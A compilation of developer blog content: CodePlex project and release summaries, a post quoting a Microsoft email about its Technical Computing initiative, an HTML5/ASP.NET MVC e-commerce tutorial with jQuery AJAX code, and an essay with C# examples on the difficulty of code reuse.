Ninja facebook group.Moo: Moo is an object-to-object multi-mapper. It is able to use multiple different strategies (in a mix of convention, configuration, attributes and fluent calls) when mapping from one object to another.MvcXaml: A custom View Engine for ASP.NET MVC that allows Controller Action Methods to return dynamically generated images based on XAML markup.Perfect World Bot Development FrameWork: <empty yet>Silverlight motion detection: Motion detection using Silverlight 4 camera support and a simple motion detection algorithm.Small IT Business Manager: Small IT Business Manager is a tool being created keeping small-midsize IT companies in mind to allow them manage their day to day chores. Management Features planned: * Workers * Timesheets * Financial * HR * Basic Project Management * Invoicingsomething for testing: mot do an mau de test cac van de lien quan toi codeStructure Copier: This small program is supposed to copy tree structure of directory.TogNet: A small utility program to toggle between windows network adapters. Needed a program like this to switch between an external Wireless network and the corporate Lan network adapter.

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• Microsoft&rsquo;s new technical computing initiative

  - by Randy Walker

  I made a mental note from earlier in the year.  Microsoft literally buys computers by the truckload.  From what I understand, it’s a typical practice amongst large software vendors.  You plug a few wires in, you test it, and you instantly have mega tera tera flops (don’t hold me to that number).  Microsoft has been trying to plug away at their cloud services (named Azure).  Which, for the layman, means Microsoft runs your software on their computers, and as demand increases you can allocate more computing power on the fly. With this in mind, it doesn’t surprise me that I was recently sent an executive email concerning Microsoft’s new technical computing initiative.  I find it to be a great marketing idea with actual substance behind their real work.  From the programmer academic perspective, in college we dreamed about this type of processing power.  This has decades of computer science theory behind it. A copy of the email received.  (note that I almost deleted this email, thinking it was spam due to it’s length) We don't often think about how complex life really is. Take the relatively simple task of commuting to and from work: it is, in fact, a complicated interplay of variables such as weather, train delays, accidents, traffic patterns, road construction, etc. You can however, take steps to shorten your commute - using a good, predictive understanding of a few of these variables. In fact, you probably are already taking these inputs and instinctively building a predictive model that you act on daily to get to your destination more quickly. Now, when we apply the same method to very complex tasks, this modeling approach becomes much more challenging. Recent world events clearly demonstrated our inability to process vast amounts of information and variables that would have helped to more accurately predict the behavior of global financial markets or the occurrence and impact of a volcano eruption in Iceland. To make sense of issues like these, researchers, engineers and analysts create computer models of the almost infinite number of possible interactions in complex systems. But, they need increasingly more sophisticated computer models to better understand how the world behaves and to make fact-based predictions about the future. And, to do this, it requires a tremendous amount of computing power to process and examine the massive data deluge from cameras, digital sensors and precision instruments of all kinds. This is the key to creating more accurate and realistic models that expose the hidden meaning of data, which gives us the kind of insight we need to solve a myriad of challenges. We have made great strides in our ability to build these kinds of computer models, and yet they are still too difficult, expensive and time consuming to manage. Today, even the most complicated data-rich simulations cannot fully capture all of the intricacies and dependencies of the systems they are trying to model. That is why, across the scientific and engineering world, it is so hard to say with any certainty when or where the next volcano will erupt and what flight patterns it might affect, or to more accurately predict something like a global flu pandemic. So far, we just cannot collect, correlate and compute enough data to create an accurate forecast of the real world. But this is about to change. Innovations in technology are transforming our ability to measure, monitor and model how the world behaves. The implication for scientific research is profound, and it will transform the way we tackle global challenges like health care and climate change. It will also have a huge impact on engineering and business, delivering breakthroughs that could lead to the creation of new products, new businesses and even new industries. Because you are a subscriber to executive e-mails from Microsoft, I want you to be the first to know about a new effort focused specifically on empowering millions of the world's smartest problem solvers. Today, I am happy to introduce Microsoft's Technical Computing initiative. Our goal is to unleash the power of pervasive, accurate, real-time modeling to help people and organizations achieve their objectives and realize their potential. We are bringing together some of the brightest minds in the technical computing community across industry, academia and science at www.modelingtheworld.com to discuss trends, challenges and shared opportunities. New advances provide the foundation for tools and applications that will make technical computing more affordable and accessible where mathematical and computational principles are applied to solve practical problems. One day soon, complicated tasks like building a sophisticated computer model that would typically take a team of advanced software programmers months to build and days to run, will be accomplished in a single afternoon by a scientist, engineer or analyst working at the PC on their desktop. And as technology continues to advance, these models will become more complete and accurate in the way they represent the world. This will speed our ability to test new ideas, improve processes and advance our understanding of systems. Our technical computing initiative reflects the best of Microsoft's heritage. Ever since Bill Gates articulated the then far-fetched vision of "a computer on every desktop" in the early 1980's, Microsoft has been at the forefront of expanding the power and reach of computing to benefit the world. As someone who worked closely with Bill for many years at Microsoft, I am happy to share with you that the passion behind that vision is fully alive at Microsoft and is carried out in the creation of our new Technical Computing group. Enabling more people to make better predictions We have seen the impact of making greater computing power more available firsthand through our investments in high performance computing (HPC) over the past five years. Scientists, engineers and analysts in organizations of all sizes and sectors are finding that using distributed computational power creates societal impact, fuels scientific breakthroughs and delivers competitive advantages. For example, we have seen remarkable results from some of our current customers: Malaria strikes 300,000 to 500,000 people around the world each year. To help in the effort to eradicate malaria worldwide, scientists at Intellectual Ventures use software that simulates how the disease spreads and would respond to prevention and control methods, such as vaccines and the use of bed nets. Technical computing allows researchers to model more detailed parameters for more accurate results and receive those results in less than an hour, rather than waiting a full day. Aerospace engineering firm, a.i. solutions, Inc., needed a more powerful computing platform to keep up with the increasingly complex computational needs of its customers: NASA, the Department of Defense and other government agencies planning space flights. To meet that need, it adopted technical computing. Now, a.i. solutions can produce detailed predictions and analysis of the flight dynamics of a given spacecraft, from optimal launch times and orbit determination to attitude control and navigation, up to eight times faster. This enables them to avoid mistakes in any areas that can cause a space mission to fail and potentially result in the loss of life and millions of dollars. Western & Southern Financial Group faced the challenge of running ever larger and more complex actuarial models as its number of policyholders and products grew and regulatory requirements changed. The company chose an actuarial solution that runs on technical computing technology. The solution is easy for the company's IT staff to manage and adjust to meet business needs. The new solution helps the company reduce modeling time by up to 99 percent - letting the team fine-tune its models for more accurate product pricing and financial projections. Our Technical Computing direction Collaborating closely with partners across industry and academia, we must now extend the reach of technical computing even further to help predictive modelers and data explorers make faster, more accurate predictions. As we build the Technical Computing initiative, we will invest in three core areas: Technical computing to the cloud: Microsoft will play a leading role in bringing technical computing power to scientists, engineers and analysts through the cloud. Existing high- performance computing users will benefit from the ability to augment their on-premises systems with cloud resources that enable 'just-in-time' processing. This platform will help ensure processing resources are available whenever they are needed-reliably, consistently and quickly. Simplify parallel development: Today, computers are shipping with more processing power than ever, including multiple cores, but most modern software only uses a small amount of the available processing power. Parallel programs are extremely difficult to write, test and trouble shoot. However, a consistent model for parallel programming can help more developers unlock the tremendous power in today's modern computers and enable a new generation of technical computing. We are delivering new tools to automate and simplify writing software through parallel processing from the desktop... to the cluster... to the cloud. Develop powerful new technical computing tools and applications: We know scientists, engineers and analysts are pushing common tools (i.e., spreadsheets and databases) to the limits with complex, data-intensive models. They need easy access to more computing power and simplified tools to increase the speed of their work. We are building a platform to do this. Our development efforts will yield new, easy-to-use tools and applications that automate data acquisition, modeling, simulation, visualization, workflow and collaboration. This will allow them to spend more time on their work and less time wrestling with complicated technology. Thinking bigger There is so much left to be discovered and so many questions yet to be answered in the fascinating world around us. We believe the technical computing community will show us that we have not seen anything yet. Imagine just some of the breakthroughs this community could make possible: Better predictions to help improve the understanding of pandemics, contagion and global health trends. Climate change models that predict environmental, economic and human impact, accessible in real-time during key discussions and debates. More accurate prediction of natural disasters and their impact to develop more effective emergency response plans. With an ambitious charter in hand, this new team is ready to build on our progress to-date and execute Microsoft's technical computing vision over the months and years ahead. We will steadily invest in the right technologies, tools and talent, and work to bring together the technical computing community. I invite you to visit www.modelingtheworld.com today. We welcome your ideas and feedback. I look forward to making this journey with you and others who want to answer the world's biggest questions, discover solutions to problems that seem impossible and uncover a host of new opportunities to change the world we live in for the better. Bob

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• CodePlex Daily Summary for Monday, October 07, 2013

  CodePlex Daily Summary for Monday, October 07, 2013Popular ReleasesGhostscript.NET: Ghostscript.NET v.1.1.0.: v.1.1.0. added GhostscriptViewer state handling (SaveState, RestoreState) GhostscriptRasterizer constructor is extended in order to support usage of the existing GhostscriptViewer instance. fixed problem while using a 32-bit assembly with 32-bit version of Ghostscript on 64-bit Windows: It couldn't find a registry key of installed Ghostscript. Reported and fixed by "r0land". v.1.0.9. implemented EPS (Encapsulated PostScript) support for the GhostscriptViewer. added GhostscriptRasterize...Ghostscript Studio: Ghostscript.Studio v.1.0.2: Ghostscript Studio is easy to use Ghostscript IDE, a tool that facilitates the use of the Ghostscript interpreter by providing you with a graphical interface for postscript editing and file conversions. Ghostscript Studio allows you to preview postscript files, edit the code and execute them in order to convert PDF documents and other formats. The program allows you to convert between PDF, Postscript, EPS, TIFF, JPG and PNG by using the Ghostscript.NET Processor. v.1.0.2. added custom -c s...cmdradio: v0.1.1 binary: Default download in win32. For other OS see here. This is alpha version. Please report all bugs.Media Companion: Media Companion MC3.579b: Fixed IMDB actor scraping for Movies and TV. Note: there are a couple of new functions that are not active, as this release needed to be done due to IMDB change. New* TV - context menu for rescrapeing Poster image/Banner image Fixed* Both - Fixed actor scraping from IMDB * Movie - Fixed Tableview if Movie's movieset was not in MC's list of moviesets * Movie - Rename with mediainfo now lowercase. * Both - added ignore "A " in titles. Separate option in General Preferences. * Tv - Changing ...VidCoder: 1.5.7 Beta: Updated HandBrake core to SVN 4819. About dialog now pulls down HandBrake version from the DLL. Added a confirmation dialog to Stop if the encode has been going on for more than 5 minutes. Fixed handling of unicode characters for input and output filenames. We now encode to UTF-8 before passing to HandBrake. Fixed a crash in the queue multiple titles dialog. Added code to rescue tool windows which get placed outside of the visible screen area.Wsus Package Publisher: Release v1.3.1310.05: Enhance the "Reboot Remote Computers", by adding a timer before the reboot occure. So that remote users can save their documents and close applications. You can also add a message to be display. In 'Tools'->'Settings'-> Misc Tab, you can set a default message. Enhance the "Compare Computers against AD", by choosing OUs to include in the comparison.Event-Based Components AppBuilder: AB3.Iteration.53: Iteration 53 (Feature): Allow drag&drop of existing component (flow, step) from component list to chart. Duplicate names are automatically recognized and solved. By the color of the draged component you can see what kind of component (flow or step) is currently draged. New: AddExistingComponentFlow, PartDragDropEventHandler, ExistingStepPreparerPulse: Pulse 0.6.7.3: Pulse is now accepting donations. To donate by Bitcoin or PayPal see https://pulse.codeplex.com/wikipage?title=Donations Lots of updates in v0.6.7.3: (Feature) New option allows you to disable wallpaper changing when a full screen application is running. This way Pulse doesn't slow down/lag your videos and games :) (Fix) Some users were getting Wallbase errors when logging in. This has been fixed. (Feature) Right click a provider and you can now make a copy of it by selecting the "Dupl...MoreTerra (Terraria World Viewer): MoreTerra 1.11.1: Release 1.11.1 =========== =Bug Fixes= =========== Added more tile blocks (Clouds, crimstone) Added items (binoculars, rope, Pirahna Gun) Added ores (Lead, Tin) Chests now work, I broke them yesterday. =============== =Known Issues= =============== I am having trouble with new background walls. So you will see a red outline for crimson then a pink inside. Same with where I think the queen bee lives.VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Menu Option to delete an Forum Account NEW: Added Support for "ImageTeam.org links FIXED: Fixed Ripping of http://forum.babeunion.com ForumsSingle Line Diagram (Electrical) Control Library: Single Line Diagram (Electrical) Control Lib - 1.2: In this release of SLD (Electrical) Control Lib I have fix code for the following symbols... 1. Switch 2. Isolator 3. Lightening Arrestor 4. Meter A new symbol is added for "Pothead Terminal" You can give it a try. I will keep improving and posting the new features.State of Decay Save Manager: Version 1.0.4: Add version at bottom of formCollection Commander for Configuration Manager 2012: CMCollCtr_1.0.0.2: Windows Installer (MSI) setup;New Ribbon Toolbar implemented; more Powershell commands...Classic WiX Burn Theme: Classic WiX Burn Theme 1.0: Project Description A WiX Burn theme inspired by the classic WiX wizard user interface.QuickConverter: QuickConverter 0.7.3 Beta: Allows access to external variables from inside lambda expressions.DNN® Form and List: DNN Form and List 06.00.07: DotNetNuke Form and List 06.00.06 Changes to 6.0.7•Fixed an error in datatypes.config that caused calculated fields to be missing in 6.0.6 Changes to 6.0.6•Add in Sql to remove 'text on row' setting for UserDefinedTable to make SQL Azure compatible. •Add new azureCompatible element to manifest. •Added a fix for importing templates. Changes to 6.0.2•Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 •Change: Data is now stored in nvarchar(max) instead of ntext C...Trace Reader for Microsoft Dynamics CRM: Trace Reader (1.2013.10.3): Fix a bug when the first caracter of a description line is '[' Add search featureSimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.BlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????New ProjectsASP.NET and ASP.NET MVC Blog Test: As a recent convert from Windows Forms & WPF to ASP.NET and ASP.NET MVC, I've created a simple project and implemented it twice using ASP.NET and ASP.NET MVC.cmdradio: Simple command-line interface internet radio playerDa Nang College Of Technology: Cao Ð?ng Công Ngh?DNN Camera Slideshow: The Camera Slideshow module for DNNFolder Iterator: Folder Iterator is a program I made one night to iterate through a folder and output an ordered list of files contained within the chosen directory.foobarpoc: fooJamendo Search Rest: This project uses the Jamendo REST API to search songs by title.Lab Nhibernate, PRISM, WPF, FLUENT, C#, ServiceStack, JSON: This is a lab for new technology and solving real developer problem Merch ASP.NET: This project is a port of Merch built on Zend framework 2 / PHP 5.MyTest2: This is test project2.Paintbear: Paintbear is a free open-source Paint Program and Image Manipulation Program for Windows based on the .NET Framework(version4). Works on Linux,too ! With Wine RasterConversion (.Net framework): Comparison of variants for working with raster (Bitmap class) at a low level. .Net framework, C#SSIS Custom Connection Manager: Example code for creating a Custom Connection Manager in SSIS 2008 and 2012Web Scripting Project: This is a project related to web application development at the Universtity of HertfordshireWebscripting1: New Scripting Website for University of Herts course Write.NET: Another .NET Blogging Engine: Write.NET is currently under development. Write.NET will be lightweight and highly configurable blogging engine built in MVC4Yoer: ????ASP.NET MVC??，????????????

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• HTML5-MVC application using VS2010 SP1

  - by nmarun

  This is my first attempt at creating HTML5 pages. VS 2010 allows working with HTML5 now (you just need to make a small change after installing SP1). So my Razor view is now a HTML5 page. I call this application - 5Commerce – (an over-simplified) HTML5 ECommerce site. So here’s the flow of the application: home page renders user enters first and last name, chooses a product and the quantity can enter additional instructions for the order place the order user is then taken to another page showing the order details Off to the details. This is what my page looks in Google Chrome 10 beta (or later) soon after it renders. Here are some of the things to observe on this. Look a little closer and you’ll see a border around the first name textbox – this is ‘autofocus’ in action. I’ve set the autofocus attribute on this textbox. So as soon as the page loads, this control gets focus. 1: <input type="text" autofocus id="firstName" class="inputWidth" data_minlength="" 2: data_maxlength="" placeholder="first name" /> See a partially grayed out ‘last name’ text in the second textbox. This is set using a placeholder attribute (see above). It gets wiped out on-focus and improves the UI visuals in general. The quantity textbox is actually a numerical-only textbox. 1: <input type="number" id="quantity" data_mincount="" class="inputWidth" /> The last line is for additional instructions. This looks like a label but it’s content is editable. Just adding the ‘contenteditable’ attribute to the span allow the user to edit the text inside. 1: <span contenteditable id="additionalInstructions" data_texttype="" class="editableContent">select text and edit </span> All of the above is just plain HTML (no lurking javascript acting in here). Makes it real clean and simple. Going more into the HTML, I see that the _Layout.cshtml already is using some HTML5 content. I created my project before installing SP1, so that was the reason for my surprise. 1: <!DOCTYPE html> This is the doctype declaration in HTML5 and this is supported even by IE6 (just take my word on IE6 now, don’t go install it to test it, especially when MS is doing an IE6 countdown). That’s just amazing and extremely easy to read remember and talk about a few less bytes on every call! I modified the rest of my _Layout.cshtml to the below: 1: <!DOCTYPE html> 2: <html> 3: <head> 4: <title>5Commerce - HTML 5 Ecommerce site</title> 5: <link href="@Url.Content("~/Content/Site.css")" rel="stylesheet" type="text/css" /> 6: <script src="@Url.Content("~/Scripts/jquery-1.4.4.min.js")" type="text/javascript"></script> 7: <script src="@Url.Content("~/Scripts/CustomScripts.js")" type="text/javascript"></script> 8: <script type="text/javascript"> 9: $(document).ready(function () { 10: WireupEvents(); 11: }); 12:</script> 13:  14: </head> 15:  16: <body role="document" class="bodybackground"> 17: <header role="heading"> 18: <h2>5Commerce - HTML 5 Ecommerce site!</h2> 19: </header> 20: <section id="mainForm"> 21: @RenderBody() 22: </section> 23: <footer id="page_footer" role="siteBaseInfo"> 24: <p>&copy; 2011 5Commerce Inc!</p> 25: </footer> 26: </body> 27: </html> I’m sure you’re seeing some of the new tags here. To give a brief intro about them: <header>, <footer>: Marks the header/footer region of a page or section. <section>: A logical grouping of content role attribute: Identifies the responsibility of an element. This attribute can be used by screen readers and can also be filtered through jQuery. SP1 also allows for some intellisense in HTML5. You see the other types of input fields – email, date, datetime, month, url and there are others as well. So once my page loads, i.e., ‘on document ready’, I’m wiring up the events following the principles of unobtrusive javascript. In the snippet below, I’m controlling the behavior of the input controls for specific events. 1: $("#productList").bind('change blur', function () { 2: IsSelectedProductValid(); 3: }); 4:  5: $("#quantity").bind('blur', function () { 6: IsQuantityValid(); 7: }); 8:  9: $("#placeOrderButton").click( 10: function () { 11: if (IsPageValid()) { 12: LoadProducts(); 13: } 14: }); This enables some client-side validation to occur before the data is sent to the server. These validation constraints are obtained through a JSON call to the WCF service and are set to the ‘data_’ attributes of the input controls. Have a look at the ‘GetValidators()’ function below: 1: function GetValidators() { 2: // the post to your webservice or page 3: $.ajax({ 4: type: "GET", //GET or POST or PUT or DELETE verb 5: url: "http://localhost:14805/OrderService.svc/GetValidators", // Location of the service 6: data: "{}", //Data sent to server 7: contentType: "application/json; charset=utf-8", // content type sent to server 8: dataType: "json", //Expected data format from server 9: processdata: true, //True or False 10: success: function (result) {//On Successfull service call 11: if (result.length > 0) { 12: for (i = 0; i < result.length; i++) { 13: if (result[i].PropertyName == "FirstName") { 14: if (result[i].MinLength > 0) { 15: $("#firstName").attr("data_minLength", result[i].MinLength); 16: } 17: if (result[i].MaxLength > 0) { 18: $("#firstName").attr("data_maxLength", result[i].MaxLength); 19: } 20: } 21: else if (result[i].PropertyName == "LastName") { 22: if (result[i].MinLength > 0) { 23: $("#lastName").attr("data_minLength", result[i].MinLength); 24: } 25: if (result[i].MaxLength > 0) { 26: $("#lastName").attr("data_maxLength", result[i].MaxLength); 27: } 28: } 29: else if (result[i].PropertyName == "Quantity") { 30: if (result[i].MinCount > 0) { 31: $("#quantity").attr("data_minCount", result[i].MinCount); 32: } 33: } 34: else if (result[i].PropertyName == "AdditionalInstructions") { 35: if (result[i].TextType.length > 0) { 36: $("#additionalInstructions").attr("data_textType", result[i].TextType); 37: } 38: } 39: } 40: } 41: }, 42: error: function (result) {// When Service call fails 43: alert('Service call failed: ' + result.status + ' ' + result.statusText); 44: } 45: }); 46:  47: //.... 48: } Just before the GetValidators() function runs and sets the validation constraints, this is what the html looks like (seen through the Dev tools of Chrome): After the function executes, you see the values in the ‘data_’  attributes. As and when we enter valid data into these fields, the error messages disappear, since the validation is bound to the blur event of the control. There you see… no error messages (well, the catch here is that once you enter THAT name, all errors disappear automatically). Clicking on ‘Place Order!’ runs the SaveOrder function. You can see the JSON for the order object that is getting constructed and passed to the WCF Service. 1: function SaveOrder() { 2: var addlInstructionsDefaultText = "select text and edit"; 3: var addlInstructions = $("span:first").text(); 4: if(addlInstructions == addlInstructionsDefaultText) 5: { 6: addlInstructions = ''; 7: } 8: var orderJson = { 9: AdditionalInstructions: addlInstructions, 10: Customer: { 11: FirstName: $("#firstName").val(), 12: LastName: $("#lastName").val() 13: }, 14: OrderedProduct: { 15: Id: $("#productList").val(), 16: Quantity: $("#quantity").val() 17: } 18: }; 19:  20: // the post to your webservice or page 21: $.ajax({ 22: type: "POST", //GET or POST or PUT or DELETE verb 23: url: "http://localhost:14805/OrderService.svc/SaveOrder", // Location of the service 24: data: JSON.stringify(orderJson), //Data sent to server 25: contentType: "application/json; charset=utf-8", // content type sent to server 26: dataType: "json", //Expected data format from server 27: processdata: false, //True or False 28: success: function (result) {//On Successfull service call 29: window.location.href = "http://localhost:14805/home/ShowOrderDetail/" + result; 30: }, 31: error: function (request, error) {// When Service call fails 32: alert('Service call failed: ' + request.status + ' ' + request.statusText); 33: } 34: }); 35: } The service saves this order into an XML file and returns the order id (a guid). On success, I redirect to the ShowOrderDetail action method passing the guid. This page will show all the details of the order. Although the back-end weightlifting is done by WCF, I did not show any of that plumbing-work as I wanted to concentrate more on the HTML5 and its associates. However, you can see it all in the source here. I do have one issue with HTML5 and this is an existing issue with HTML4 as well. If you see the snippet above where I’ve declared a textbox for first name, you’ll see the autofocus attribute just dangling by itself. It doesn’t follow the xml syntax of ‘key="value"’ allowing users to continue writing badly-formatted html even in the new version. You’ll see the same issue with the ‘contenteditable’ attribute as well. The work-around is that you can do ‘autofocus=”true”’ and it’ll work fine plus make it well-formatted. But unless the standards enforce this, there will be people (me included) who’ll get by, by just typing the bare minimum! Hoping this will get fixed in the coming version-updates. Source code here. Verdict: I think it’s time for us to embrace the new HTML5. Thank you HTML4 and Welcome HTML5.

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• Code Reuse is (Damn) Hard

  - by James Michael Hare

  Being a development team lead, the task of interviewing new candidates was part of my job.  Like any typical interview, we started with some easy questions to get them warmed up and help calm their nerves before hitting the hard stuff. One of those easier questions was almost always: “Name some benefits of object-oriented development.”  Nearly every time, the candidate would chime in with a plethora of canned answers which typically included: “it helps ease code reuse.”  Of course, this is a gross oversimplification.  Tools only ease reuse, its developers that ultimately can cause code to be reusable or not, regardless of the language or methodology. But it did get me thinking…  we always used to say that as part of our mantra as to why Object-Oriented Programming was so great.  With polymorphism, inheritance, encapsulation, etc. we in essence set up the concepts to help facilitate reuse as much as possible.  And yes, as a developer now of many years, I unquestionably held that belief for ages before it really struck me how my views on reuse have jaded over the years.  In fact, in many ways Agile rightly eschews reuse as taking a backseat to developing what's needed for the here and now.  It used to be I was in complete opposition to that view, but more and more I've come to see the logic in it.  Too many times I've seen developers (myself included) get lost in design paralysis trying to come up with the perfect abstraction that would stand all time.  Nearly without fail, all of these pieces of code become obsolete in a matter of months or years. It’s not that I don’t like reuse – it’s just that reuse is hard.  In fact, reuse is DAMN hard.  Many times it is just a distraction that eats up architect and developer time, and worse yet can be counter-productive and force wrong decisions.  Now don’t get me wrong, I love the idea of reusable code when it makes sense.  These are in the few cases where you are designing something that is inherently reusable.  The problem is, most business-class code is inherently unfit for reuse! Furthermore, the code that is reusable will often fail to be reused if you don’t have the proper framework in place for effective reuse that includes standardized versioning, building, releasing, and documenting the components.  That should always be standard across the board when promoting reusable code.  All of this is hard, and it should only be done when you have code that is truly reusable or you will be exerting a large amount of development effort for very little bang for your buck. But my goal here is not to get into how to reuse (that is a topic unto itself) but what should be reused.  First, let’s look at an extension method.  There’s many times where I want to kick off a thread to handle a task, then when I want to reign that thread in of course I want to do a Join on it.  But what if I only want to wait a limited amount of time and then Abort?  Well, I could of course write that logic out by hand each time, but it seemed like a great extension method: 1: public static class ThreadExtensions 2: { 3: public static bool JoinOrAbort(this Thread thread, TimeSpan timeToWait) 4: { 5: bool isJoined = false; 6:  7: if (thread != null) 8: { 9: isJoined = thread.Join(timeToWait); 10:  11: if (!isJoined) 12: { 13: thread.Abort(); 14: } 15: } 16: return isJoined; 17: } 18: } 19:  When I look at this code, I can immediately see things that jump out at me as reasons why this code is very reusable.  Some of them are standard OO principles, and some are kind-of home grown litmus tests: Single Responsibility Principle (SRP) – The only reason this extension method need change is if the Thread class itself changes (one responsibility). Stable Dependencies Principle (SDP) – This method only depends on classes that are more stable than it is (System.Threading.Thread), and in itself is very stable, hence other classes may safely depend on it. It is also not dependent on any business domain, and thus isn't subject to changes as the business itself changes. Open-Closed Principle (OCP) – This class is inherently closed to change. Small and Stable Problem Domain – This method only cares about System.Threading.Thread. All-or-None Usage – A user of a reusable class should want the functionality of that class, not parts of that functionality.  That’s not to say they most use every method, but they shouldn’t be using a method just to get half of its result. Cost of Reuse vs. Cost to Recreate – since this class is highly stable and minimally complex, we can offer it up for reuse very cheaply by promoting it as “ready-to-go” and already unit tested (important!) and available through a standard release cycle (very important!). Okay, all seems good there, now lets look at an entity and DAO.  I don’t know about you all, but there have been times I’ve been in organizations that get the grand idea that all DAOs and entities should be standardized and shared.  While this may work for small or static organizations, it’s near ludicrous for anything large or volatile. 1: namespace Shared.Entities 2: { 3: public class Account 4: { 5: public int Id { get; set; } 6:  7: public string Name { get; set; } 8:  9: public Address HomeAddress { get; set; } 10:  11: public int Age { get; set;} 12:  13: public DateTime LastUsed { get; set; } 14:  15: // etc, etc, etc... 16: } 17: } 18:  19: ... 20:  21: namespace Shared.DataAccess 22: { 23: public class AccountDao 24: { 25: public Account FindAccount(int id) 26: { 27: // dao logic to query and return account 28: } 29:  30: ... 31:  32: } 33: } Now to be fair, I’m not saying there doesn’t exist an organization where some entites may be extremely static and unchanging.  But at best such entities and DAOs will be problematic cases of reuse.  Let’s examine those same tests: Single Responsibility Principle (SRP) – The reasons to change for these classes will be strongly dependent on what the definition of the account is which can change over time and may have multiple influences depending on the number of systems an account can cover. Stable Dependencies Principle (SDP) – This method depends on the data model beneath itself which also is largely dependent on the business definition of an account which can be very inherently unstable. Open-Closed Principle (OCP) – This class is not really closed for modification.  Every time the account definition may change, you’d need to modify this class. Small and Stable Problem Domain – The definition of an account is inherently unstable and in fact may be very large.  What if you are designing a system that aggregates account information from several sources? All-or-None Usage – What if your view of the account encompasses data from 3 different sources but you only care about one of those sources or one piece of data?  Should you have to take the hit of looking up all the other data?  On the other hand, should you have ten different methods returning portions of data in chunks people tend to ask for?  Neither is really a great solution. Cost of Reuse vs. Cost to Recreate – DAOs are really trivial to rewrite, and unless your definition of an account is EXTREMELY stable, the cost to promote, support, and release a reusable account entity and DAO are usually far higher than the cost to recreate as needed. It’s no accident that my case for reuse was a utility class and my case for non-reuse was an entity/DAO.  In general, the smaller and more stable an abstraction is, the higher its level of reuse.  When I became the lead of the Shared Components Committee at my workplace, one of the original goals we looked at satisfying was to find (or create), version, release, and promote a shared library of common utility classes, frameworks, and data access objects.  Now, of course, many of you will point to nHibernate and Entity for the latter, but we were looking at larger, macro collections of data that span multiple data sources of varying types (databases, web services, etc). As we got deeper and deeper in the details of how to manage and release these items, it quickly became apparent that while the case for reuse was typically a slam dunk for utilities and frameworks, the data access objects just didn’t “smell” right.  We ended up having session after session of design meetings to try and find the right way to share these data access components. When someone asked me why it was taking so long to iron out the shared entities, my response was quite simple, “Reuse is hard...”  And that’s when I realized, that while reuse is an awesome goal and we should strive to make code maintainable, often times you end up creating far more work for yourself than necessary by trying to force code to be reusable that inherently isn’t. Think about classes the times you’ve worked in a company where in the design session people fight over the best way to implement a class to make it maximally reusable, extensible, and any other buzzwordable.  Then think about how quickly that design became obsolete.  Many times I set out to do a project and think, “yes, this is the best design, I can extend it easily!” only to find out the business requirements change COMPLETELY in such a way that the design is rendered invalid.  Code, in general, tends to rust and age over time.  As such, writing reusable code can often be difficult and many times ends up being a futile exercise and worse yet, sometimes makes the code harder to maintain because it obfuscates the design in the name of extensibility or reusability. So what do I think are reusable components? Generic Utility classes – these tend to be small classes that assist in a task and have no business context whatsoever. Implementation Abstraction Frameworks – home-grown frameworks that try to isolate changes to third party products you may be depending on (like writing a messaging abstraction layer for publishing/subscribing that is independent of whether you use JMS, MSMQ, etc). Simplification and Uniformity Frameworks – To some extent this is similar to an abstraction framework, but there may be one chosen provider but a development shop mandate to perform certain complex items in a certain way.  Or, perhaps to simplify and dumb-down a complex task for the average developer (such as implementing a particular development-shop’s method of encryption). And what are less reusable? Application and Business Layers – tend to fluctuate a lot as requirements change and new features are added, so tend to be an unstable dependency.  May be reused across applications but also very volatile. Entities and Data Access Layers – these tend to be tuned to the scope of the application, so reusing them can be hard unless the abstract is very stable. So what’s the big lesson?  Reuse is hard.  In fact it’s damn hard.  And much of the time I’m not convinced we should focus too hard on it. If you’re designing a utility or framework, then by all means design it for reuse.  But you most also really set down a good versioning, release, and documentation process to maximize your chances.  For anything else, design it to be maintainable and extendable, but don’t waste the effort on reusability for something that most likely will be obsolete in a year or two anyway.

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• CodePlex Daily Summary for Friday, November 16, 2012

  CodePlex Daily Summary for Friday, November 16, 2012Popular ReleasesCSLA .NET Contrib: CslaContrib 4.3.13: This is the first release of CslaContrib extension library to CSLA .NET. This release is version synchronized to CSLA .NET 4.3.13 and is also available on NuGet CslaContribObjectCaching data portal implementation with in-memory cache provider for simple cache (courtesy of Magenic) Additional generic rules: LessThan, LessThanOrEqual, GreaterThan, GreaterThanOrEqual, Range, StopIfNotCanWrite, StopIfNotIsNew, StopIfNotIsExisting, StopIfAnyAdditionalHasValue, CalcSum, ToUpperCase ToLowerCase...Paint.NET PSD Plugin: 2.2.0: Changes: Layer group visibility is now applied to all layers within the group. This greatly improves the visual fidelity of complex PSD files that have hidden layer groups. Layer group names are prefixed so that users can get an indication of the layer group hierarchy. (Paint.NET has a flat list of layers, so the hierarchy is flattened out on load.) The progress bar now reports status when saving PSD files, instead of showing an indeterminate rolling bar. Performance improvement of 1...CRM 2011 Visual Ribbon Editor: Visual Ribbon Editor (1.3.1116.7): [IMPROVED] Detailed error message descriptions for FaultException [FIX] Fixed bug in rule CrmOfflineAccessStateRule which had incorrect State attribute name [FIX] Fixed bug in rule EntityPropertyRule which was missing PropertyValue attribute [FIX] Current connection information was not displayed in status bar while refreshing list of entitiesSuper Metroid Randomizer: Super Metroid Randomizer v5: v5 -Added command line functionality for automation purposes. -Implented Krankdud's change to randomize the Etecoon's item. NOTE: this version will not accept seeds from a previous version. The seed format has changed by necessity. v4 -Started putting version numbers at the top of the form. -Added a warning when suitless Maridia is required in a parsed seed. v3 -Changed seed to only generate filename-legal characters. Using old seeds will still work exactly the same. -Files can now be saved...Caliburn Micro: WPF, Silverlight, WP7 and WinRT/Metro made easy.: Caliburn.Micro v1.4: Changes This version includes many bug fixes across all platforms, improvements to nuget support and...the biggest news of all...full support for both WinRT and WP8. Download Contents Debug and Release Assemblies Samples Readme.txt License.txt Packages Available on Nuget Caliburn.Micro – The full framework compiled into an assembly. Caliburn.Micro.Start - Includes Caliburn.Micro plus a starting bootstrapper, view model and view. Caliburn.Micro.Container – The Caliburn.Micro invers...DotNetNuke® Community Edition CMS: 06.02.05: Major Highlights Updated the system so that it supports nested folders in the App_Code folder Updated the Global Error Handling so that when errors within the global.asax handler happen, they are caught and shown 